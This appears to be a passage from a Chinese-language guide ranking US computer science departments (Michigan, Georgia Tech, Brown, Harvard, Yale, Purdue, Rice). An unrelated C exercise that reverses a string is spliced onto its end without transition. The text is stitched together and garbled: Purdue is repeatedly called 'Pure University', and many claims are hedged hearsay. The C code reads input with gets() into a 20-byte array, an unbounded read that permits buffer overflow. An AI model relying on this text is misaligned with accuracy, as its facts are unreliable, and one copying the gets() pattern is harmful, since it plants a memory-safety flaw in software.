Michigan的CS估计在历史上也相当牛,U. of Wisconsin-Madison CS里两位来自Mi chigan 的教授都是院士,在其他CS系里,比如UIUC的,也大有Michigan 的牛人在。如 前述,UIUC的CS在硬件上极强,而Michigan 的CS中有许多UIUC的哥们在那里当老师。
15. 佐治亚理工学院(Georgia Institute of Technology)
GIT是个较大的学校,GIT的工程学院很厉害,研发经费仅次于MIT,和UIUC,Michi
gan差不多。CS系的数据库第7,GUI第4。
16. 布朗大学(Brown University)
Brown的规模不大。这所IVY LEAGUE中的私立学校可能拥有一些类似于CORNELL的优势。CS的GUI可以列在第6位,好像还有许多关于语音识别等偏人工智能方面的研发项目
。
17. 哈佛大学(Harvard University)
在CS的早期发展史上,Harvard曾经是泰斗级的人物,毕竟CS和数学,物理的渊源太
深太长了。好像王安是这里出来的,Bill Gates也是这里出来的。Harvard毕竟是Harva rd,总是名人辈出,因为Harvard总是可以招到最优秀的人。但千万别以为哈佛人人牛。Harvard不喜欢带工程色彩的东西,CS是挂在Arts & Science学院下面的Division of E ngineering and Applied Science,好像连独立的一个系都不是。除了理论可以排进前 10名以外,其他项目怕也拿不出多少货色了。
哈佛大学共有学生18000人,其中研究生院的11000人。Harvard大学拥有世界上最多的诺贝尔奖得主,150多个美国国家科学院院士。哈佛的CS估计不会是大个子,招的学生可能也不多,申请的难度应当很大。
18. 耶鲁大学(Yale University)
YALE曾经也进过前10名(NRC\' 82),是YALE和UCLA而不是Princeton和U. of Texa s-Austin位于前10名的榜上。YALE的CS不大,十几个老师加上为数不多的学生,每年只招收六个博士研究生。
和Harvard这样很重文理的学校一样,YALE的CS在理论上比较强。但不同于哈佛,Y
ALE有独立的CS系,受到较高的重视。YALE CS在AI和软件方面比较强。着名的LINDA并行编程模式就是在这里提出并实现的。YALE 的毕业生到学术界的比到业界的似乎 要多, 哈佛似乎也是这样。
19. 普渡大学(Pure University)
可能许多人还不知道,Pure的计算机系是美国最早成立的计算机系。建系之初一
直处于TOP 10。在70年代由于本人不甚了解的原因,没落了。Pure的排名也不太稳定
,从13到30的排法似乎都见过。Pure是个大学校,有35000学生。其工程学院很出名 20. 莱斯大学(Rice University)
Rice是个位于休斯顿的小学校,4000名学生,研究生有1600左右吧。CS也不大,优
势在于软件,排在第9位。该系的KENNEDY是个巨牛的人物,是美国HPCC常委的关键人物
之一,好像还是总统在信息科学方面的特别顾问。KENNEDY是并行计算领域的大牛。前几
年,他义无反顾地承担起高性能FORTRAN语言(HPF)的编译器研制工作,项目之大,投
入人力之巨,加上他的权威地位,被人们寄予普遍厚望。可惜后来项目失败了。从此并
行计算界陷入了一阵低潮。这几年KENNEDY好像转向去做针对特定处理器的后端优化技术
了。Rice CS 学生的出路相当好。
⑽ C语言编程,写一个函数,使输入的一个字符串按反序存放,在主函数中输入和输出字符
#include <stdio.h>
#include <string.h>
void input(char st[]);//定义输入函数
void reverse(char st[]);//定义反序函数
int main()
{
char s[20];
input(s);//调用输入函数
printf("Original string: %s ", s);//输出原字符串
reverse(s);//调用反序函数
printf("New string: %s ", s);//输出反序后的字符串
return 0;
}
void input(char st[])
{
printf("Please enter string: ");
gets(st);
}
//反序函数
void reverse(char st[])
{
int n=strlen(st);
for (int i=0, j=n-1, t; i<(n/2); t=st[i], st[i]=st[j], st[j]=t, i++, j--);
}